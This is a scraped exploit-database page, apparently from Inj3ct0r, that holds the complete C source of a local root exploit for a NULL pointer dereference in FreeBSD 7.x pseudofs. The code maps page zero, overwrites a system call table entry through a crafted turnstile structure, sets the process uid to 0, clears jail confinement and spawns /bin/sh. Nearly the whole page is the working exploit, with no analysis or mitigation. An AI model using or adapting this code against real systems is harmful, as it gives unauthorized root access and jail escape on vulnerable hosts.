Home / os / win7

[local exploits] - FreeBSD 'pseudofs' NULL Pointer

Posted on 04 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>FreeBSD &#039;pseudofs&#039; NULL Pointer Dereference Local Privilege Escalation | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='FreeBSD &#039;pseudofs&#039; NULL Pointer Dereference Local Privilege Escalation by Babcia Padlina in local exploits | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>====================================================================== FreeBSD &#039;pseudofs&#039; NULL Pointer Dereference Local Privilege Escalation ====================================================================== /* * Source: http://www.securityfocus.com/bid/43060/info * 18.08.2010, babcia padlina * FreeBSD 7.0 - 7.2 pseudofs null ptr dereference exploit * * * to obtain SYSENT8_SYCALL_ADDR, run: * $ kgdb /boot/kernel/kernel * (kgdb) print &amp;sysent[8].sy_call */ #define SYSENT8_SYCALL_ADDR 0xc0c4afa4 /* FreeBSD 7.2-RELEASE */ #define _KERNEL #include &lt;sys/param.h&gt; #include &lt;sys/conf.h&gt; #include &lt;sys/ucred.h&gt; #include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;fcntl.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/mman.h&gt; #include &lt;sys/proc.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/extattr.h&gt; #include &lt;sys/uio.h&gt; #include &lt;sys/turnstile.h&gt; #include &lt;sys/queue.h&gt; struct turnstile { struct mtx ts_lock; struct threadqueue ts_blocked[2]; struct threadqueue ts_pending; LIST_ENTRY(turnstile) ts_hash; LIST_ENTRY(turnstile) ts_link; LIST_HEAD(, turnstile) ts_free; struct lock_object *ts_lockobj; struct thread *ts_owner; }; volatile int gotroot = 0; static void kernel_code(void) { struct thread *thread; asm( &quot;movl %%fs:0, %0&quot; : &quot;=r&quot;(thread) ); /* * kernel_code() is called while thread is in critical section, * so we need to unset td_critnest flag to prevent panic after * nearest user mode page fault. */ thread-&gt;td_critnest = 0; thread-&gt;td_proc-&gt;p_ucred-&gt;cr_uid = 0; thread-&gt;td_proc-&gt;p_ucred-&gt;cr_prison = NULL; gotroot = 1; return; } int main(int argc, char **argv) { struct turnstile *ts = 0; if (access(&quot;/proc/curproc/cmdline&quot;, R_OK)) { printf(&quot;procfs not found. &quot;); return -1; } if (mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) { printf(&quot;mmap 0x0 failed. &quot;); return -1; } memset(0, 0, PAGE_SIZE); /* * we need to call dummy extattr_get_link() here, to make * libc memory pages accessible without user mode page fault. without * it, panic will occur after next extattr_get_link(). */ extattr_get_link(&quot;/dev/null&quot;, 0, 0, 0, 0); /* overwrite sysent[8].sy_call with 0x0 */ ts-&gt;ts_blocked[0].tqh_first = (void *)(SYSENT8_SYCALL_ADDR - 0x1c); extattr_get_link(&quot;/proc/curproc/cmdline&quot;, 0, 0, 0, 0); *(char *)0x0 = 0x90; *(char *)0x1 = 0xe9; *(unsigned long *)0x2 = &amp;kernel_code; asm( &quot;movl $0x8, %eax;&quot; &quot;int $0x80;&quot; ); if (gotroot) { printf(&quot;oops, I did it again. &quot;); setuid(0); setgid(0); execl(&quot;/bin/sh&quot;, &quot;sh&quot;, NULL); } printf(&quot;exploit failed. &quot;); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-04]</pre></body></html>

 

TOP